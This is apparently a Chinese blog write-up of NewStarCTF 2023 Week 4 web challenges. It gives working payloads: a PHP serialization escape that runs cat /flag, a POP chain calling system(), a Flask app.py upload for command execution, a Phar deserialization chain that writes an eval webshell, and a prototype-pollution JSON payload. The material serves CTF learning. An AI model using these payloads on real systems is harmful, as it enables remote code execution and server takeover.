从第三周第四周题目难度就上来了 学到蛮多的还
[NewStarCTF 2023 公开赛道]WEEK4–web方向复现记录 逃 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php highlight_file (__FILE__ );function waf ($str ) { return str_replace ("bad" ,"good" ,$str ); } class GetFlag { public $key ; public $cmd = "whoami" ; public function __construct ($key ) { $this ->key = $key ; } public function __destruct ( ) { system ($this ->cmd); } } unserialize (waf (serialize (new GetFlag ($_GET ['key' ]))));
他把bad换成good
很明显三个字符变成了四个字符 想到字符串逃逸
(其实题目也有提示)
思考一下 一个bad变成good增加一个字符
在反序列化的时候php会根据s所指定的字符长度去读取后边的字符,由于在序列化操作后又使用了str_replace()函数进行字符串替换,这就可能会改变字符串的长度,比如上面将bad替换为good,每替换掉一个bad,字符串长度明显就增加了1,而由于序列化之后s的值没变,但是进行了内容替换,改变了字符串长度,那么反序列化读取时,就并不能将原本的内容读取完全。
而后面没有被读到的内容,也就是逃逸出来的字符串,就会被当做当前类的属性被继续执行。
执行的是cmd 所以我们想要修改cmd的内容
也就是说要改
“;s:3:”cmd”;s:6:”whoami”;}
这里
1 O:7:"GetFlag":2:{s:3:"key";s:1:"1";s:3:"cmd";s:6:"whoami";}
想让他执行的是
一共24个字符
所以需要24个bad
cat /flag
一样的加五个bad
1 ?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}
More Fast 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 <?php highlight_file (__FILE__ );class Start { public $errMsg ; public function __destruct ( ) { die ($this ->errMsg); } } class Pwn { public $obj ; public function __invoke ( ) { $this ->obj->evil (); } public function evil ( ) { phpinfo (); } } class Reverse { public $func ; public function __get ($var ) { ($this ->func)(); } } class Web { public $func ; public $var ; public function evil ( ) { if (!preg_match ("/flag/i" ,$this ->var )){ ($this ->func)($this ->var ); }else { echo "Not Flag" ; } } } class Crypto { public $obj ; public function __toString ( ) { $wel = $this ->obj->good; return "NewStar" ; } } class Misc { public function evil ( ) { echo "good job but nothing" ; } } $a = @unserialize ($_POST ['fast' ]);throw new Exception ("Nope" );
好长的一个反序列化我说。。
来看提示
早一点触发destruct
就是gc回收的那个机制提前触发
最终的目的是触发pwn类里的那个phpinfo()
链子分析如图
所以开头是要去触发Start->__destruct()
看到代码最后主动抛出了一个异常
当代码执行到这一行时,会立即终止当前的程序流程,并抛出一个 Exception
类型的异常。
停止所有后续执行
只有让目标对象在异常抛出前 就被销毁(触发 __destruct
),才能执行后续的魔术方法链
这其实就是gc的那个解决逻辑
好的别管了我们先来正常构造一下链子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 <?php highlight_file (__FILE__ );class Start { public $errMsg ; public function __destruct ( ) { die ($this ->errMsg); } } class Pwn { public $obj ; public function __invoke ( ) { $this ->obj->evil (); } public function evil ( ) { phpinfo (); } } class Reverse { public $func ; public function __get ($var ) { ($this ->func)(); } } class Web { public $func ='system' ; public $var ='ls /' ; public function evil ( ) { if (!preg_match ("/flag/i" ,$this ->var )){ ($this ->func)($this ->var ); }else { echo "Not Flag" ; } } } class Crypto { public $obj ; public function __toString ( ) { $wel = $this ->obj->good; return "NewStar" ; } } class Misc { public function evil ( ) { echo "good job but nothing" ; } $s =new Start ;$p =new Pwn ;$r =new Reverse ;$c =new Crypto ;$s ->errMsg=$c ;$c ->obj=$r ;$r ->func=$p ;$p ->obj=new Web ();echo serialize ($s );>?
然后这里会抛出异常
用第二种数组对象为null来绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 <?php highlight_file (__FILE__ );class Start { public $errMsg ; public function __destruct ( ) { die ($this ->errMsg); } } class Pwn { public $obj ; public function __invoke ( ) { $this ->obj->evil (); } public function evil ( ) { phpinfo (); } } class Reverse { public $func ; public function __get ($var ) { ($this ->func)(); } } class Web { public $func ='system' ; public $var ='ls /' ; public function evil ( ) { if (!preg_match ("/flag/i" ,$this ->var )){ ($this ->func)($this ->var ); }else { echo "Not Flag" ; } } } class Crypto { public $obj ; public function __toString ( ) { $wel = $this ->obj->good; return "NewStar" ; } } class Misc { public function evil ( ) { echo "good job but nothing" ; } } $s =new Start ;$p =new Pwn ;$r =new Reverse ;$c =new Crypto ;$s ->errMsg=$c ;$c ->obj=$r ;$r ->func=$p ;$p ->obj=new Web ();$g =array ($s ,0 );echo serialize ($g );?>
记得把最后的i:1改成i:0
1 fast=a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}}i:0;i:0;}
这里有一些过滤 flag被过滤了 所以用一个*匹配来进行绕过
midsql 这题图片太擦了
看不下去
flask disk
这里不仅可以上传文件 还有一个pin码的检查
CTF中Python_Flask应用的一些解题方法总结 | Savant’s Blog
这篇写的非常全
这个是flask框架
Flask 框架提供了调试模式,可以通过设置 app.debug = True 或 FLASK_ENV=development 来启用。启用调试模式后,Flask 会在代码更改时自动重载应用,并且会显示详细的错误信息,包括回溯(traceback)。这些功能对开发来说非常有用,但在生产环境中开启调试模式是非常危险的,因为:
调试 PIN 码: 开启调试模式的 Flask 应用会要求输入 PIN 码以防止未授权访问控制台,但如果攻击者能够获取这个 PIN 码,他们就可能执行任意代码。 自动重载: 调试模式下的自动重载功能允许代码更改立即生效。如果攻击者能够上传修改后的代码文件(如 app.py),就可以利用这个功能执行恶意代码。
我们上传一个可执行命令的app.py即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from flask import Flask, requestimport osapp = Flask(__name__) @app.route('/' ) def index (): try : cmd = request.args.get('cmd' ) data = os.popen(cmd).read() return data except : pass return "1" if __name__ == '__main__' : app.run(host='0.0.0.0' , port=5000 , debug=True )
port那个500是题目提示上的
上传之后get传cmd进去
PharOne
题目就叫phar那还说啥了兄弟
有个提示给了class.php
查看一下
拿到源码
1 2 3 4 5 6 7 8 9 10 <?php highlight_file (__FILE__ );class Flag { public $cmd ; public function __destruct ( ) { @exec ($this ->cmd); } } @unlink ($_POST ['file' ]);
这里试了很久
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php class Flag { public $cmd ; public function __destruct ( ) { @exec ($this ->cmd); } } @unlink ($_POST ['file' ]); @unlink ('test.phar' ); $phar =new Phar ('test.phar' );$phar ->startBuffering ();$phar ->setStub ('<?php __HALT_COMPILER(); ?>' );$o =new Flag ();$o ->cmd='php -r "eval($_GET[\"a\"]);"' ;$phar ->setMetadata ($o );$phar ->addFromString ("test.txt" ,"test" );$phar ->stopBuffering ();?>
我一直是用的这个语句写的
后面蚁剑始终连接不上
看网上的博客使用的是这个
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php highlight_file (__FILE__ );class Flag { public $cmd ; } $a =new Flag ();$a ->cmd="echo \"<?=@eval(\\\$_POST['a']);\">/var/www/html/test1.php" ;$phar = new Phar ("test1.phar" );$phar ->startBuffering ();$phar ->setStub ("<?php __HALT_COMPILER(); ?>" );$phar ->setMetadata ($a );$phar ->addFromString ("test.txt" , "test" );$phar ->stopBuffering ();?>
差别在于这句
$a->cmd=”echo "<?=@eval(\$_POST[‘a’]);">/var/www/html/test1.php”;
当 PHAR 文件被反序列化,触发__destruct()
等相关魔术方法执行$a->cmd
时,会在服务器指定目录(/var/www/html/
)下创建一个包含 PHP 一句话木马(<?=@eval($_POST['a']);?>
)的文件test1.php
。后续攻击者需要通过 HTTP 请求访问这个新建的test1.php
文件,并以 POST 方式提交参数a
,才能执行恶意 PHP 代码。
$o->cmd=’php -r “eval($_GET["a"]);”‘;
在 PHAR 文件反序列化触发相关魔术方法执行$o->cmd
时,直接调用服务器上的 PHP 命令行解释器(php -r
)来执行通过 GET 参数a
传入的 PHP 代码。只要反序列化成功触发且服务器上的 PHP 命令行工具可正常使用,就能立即执行恶意代码。
第二个写法比较依赖环境 所以我们主要来看第一个(更为通用一点)
典型的没有显示反序列化触发 + unlink => phar 这里由于是exec 所以没有回显 我们通过向根目录写入webshell来rce
注意到是Linux下的 所以我们webshell要加斜杠转义
为什么需要转义? 在 Linux 的bash
shell 中,双引号("
)和美元符号($
)是特殊字符:
双引号用于包裹字符串,但会解析内部的变量(如$var
)
美元符号用于标识变量,若不转义,shell 会尝试解析$_POST
为系统变量(显然不存在)
然后后面我们还需要对他进行一个gzip 并修改后缀为jpg进行一个绕过
(没见过gzip这种绕过)
然后传入test1.jpg
回到class.php phar传进去file
然后蚁剑去连接
1 http://8402e286-0d51-4676-9bf1-30d8fa6b2d0e.node5.buuoj.cn:81/test1.php
根目录下查看
OtenkiBoy 依旧是一道js原型链污染
是week3中Otenkgirl的升级版 但难度差的不是一星半点哈哈
依旧是来看两个主要的js
info.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 async function getInfo (timestamp ) { timestamp = typeof timestamp === "number" ? timestamp : Date .now (); let minTimestamp; try { minTimestamp = createDate (CONFIG .min_public_time ).getTime (); if (!Number .isSafeInteger (minTimestamp)) throw new Error ("Invalid configuration min_public_time." ); } catch (e) { console .warn (`\x1b[33m${e.message} \x1b[0m` ); console .warn (`Try using default value ${DEFAULT_CONFIG.min_public_time} .` ); minTimestamp = createDate (DEFAULT_CONFIG .min_public_time , { UTC : false , baseDate : LauchTime }).getTime (); } timestamp = Math .max (timestamp, minTimestamp); const data = await sql.all ( `SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?` , [timestamp] ).catch (e => { throw e }); return data; }
截出来了主要的这个getinfo函数
负责计算查询的最小时间戳(mintimestamp)
具体步骤拆解在代码块里
后面的post是一个接口定义
通过 router.post
定义接口,处理客户端的 POST 请求
这个时间戳和createdate函数有关 所以我们再去看一下这个函数(utils.js)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 const createDate = (str, opts ) => { const CopiedDefaultOptions = copyJSON (DEFAULT_CREATE_DATE_OPTIONS ) if (typeof opts === "undefined" ) opts = CopiedDefaultOptions if (typeof opts !== "object" ) opts = { ...CopiedDefaultOptions , UTC : Boolean (opts) }; opts.UTC = typeof opts.UTC === "undefined" ? CopiedDefaultOptions .UTC : Boolean (opts.UTC ); opts.format = opts.format || CopiedDefaultOptions .format ; if (!Array .isArray (opts.format )) opts.format = [opts.format ];opts.format = opts.format .filter (f => typeof f === "string" ) .filter (f => { if (/yy|yyyy|MM|dd|HH|mm|ss|fff/ .test (f) === false ) { console .warn (`Invalid format "${f} ". At least one format specifier is required.` ); return false ; } if (`|${f} |` .replace (/yyyy/g , "yy" ).split (/yy|MM|dd|HH|mm|ss|fff/ ).includes ("" )) { console .warn (`Invalid format "${f} ". Delimeters are required between format specifiers.` ); return false ; } if (f.includes ("yyyy" ) && f.replace (/yyyy/g , "" ).includes ("yy" )) { console .warn (`Invalid format "${f} ". "yyyy" and "yy" cannot be used together.` ); return false ; } return true ; }); opts.baseDate = new Date (opts.baseDate || Date .now ());
漏洞利用点 :若通过原型污染注入opts.format
(如"yy19-MM-ddTHH:mm:ss.fffZ"
),会篡改时间解析规则 —— 例如将"2019-07-08..."
中的"20"
当作yy
(按规则,yy
小于 100 时解析为1900+yy
,即1920
,最终得到更早的时间)。
可以看到createDate函数能够接受两个参数,如果没有传入opts参数,那么直接返回,没有可操作的地方,因此在gitInfo函数中,如果createDate函数的返回值没问题,那么全剧终,利用不了一点,但是如果有问题的话,就会调用catch中的代码,此时是会传入一个opts参数的,因此,第一个目标就是要让createDate函数的返回值出错。
详细来看
minTimestamp = createDate(CONFIG.min_public_time).getTime();
此时 createDate
会用默认配置(CopiedDefaultOptions
)解析时间,且默认配置通常是合法的(比如 format
是标准的 "yyyy-MM-ddTHH:mm:ss.fffZ"
)。
只要 CONFIG.min_public_time
格式正常(比如 "2023-10-01T00:00:00.000Z"
),createDate
就能生成有效的 Date
对象,getTime()
会返回正常时间戳 —— 后续逻辑按正常流程走,没有漏洞利用的机会
要触发 catch
分支,必须让 createDate
的执行结果满足以下任一条件
生成的 Date
对象是无效的(new Date(...)
结果为 Invalid Date
),调用 getTime()
会返回 NaN
;
getTime()
返回的时间戳不是 “安全整数”(!Number.isSafeInteger(minTimestamp)
),直接抛出错误。
最容易通过原型污染实现的是第一种让 createDate
生成 Invalid Date
。
如何通过原型污染让 createDate
出错? 关键是污染 createDate
中用于解析时间的核心配置 ——baseDate
createDate
中有一行处理 baseDate
的代码
1 2 opts.baseDate = new Date (opts.baseDate || Date .now ());
当我们通过 /submit
接口的 mergeJSON
函数,污染全局原型 Object.prototype
时
1 2 3 4 5 6 "constructor" : { "prototype" : { "baseDate" : "invalid-date" } }
这样一来,所有对象(包括 createDate
中的 opts
)都会继承这个 baseDate: "invalid-date"
。
payload
1 2 3 4 5 6 7 8 9 10 11 { "contact" :"a" , "reason" :"a" , "constructor" :{ "prototype" :{ "format" : "yy19-MM-ddTHH:mm:ss.fffZ" , "baseDate" :"aaa" , "fff" : "bbb" } } }
污染database和fff来绕过format模式——》
污染format模板使他可以以yy模式匹配min_public_time: “2019-07-08T16:00:00.000Z”——》
将createData返回的时间成功改为1919-07-08T16:00:00.000Z
不行了其实我整个思路比较乱
NewStar2023 web-week4-wp - Eddie_Murphy - 博客园
贴一个别人的wp
磕磕绊绊的也算是复现完了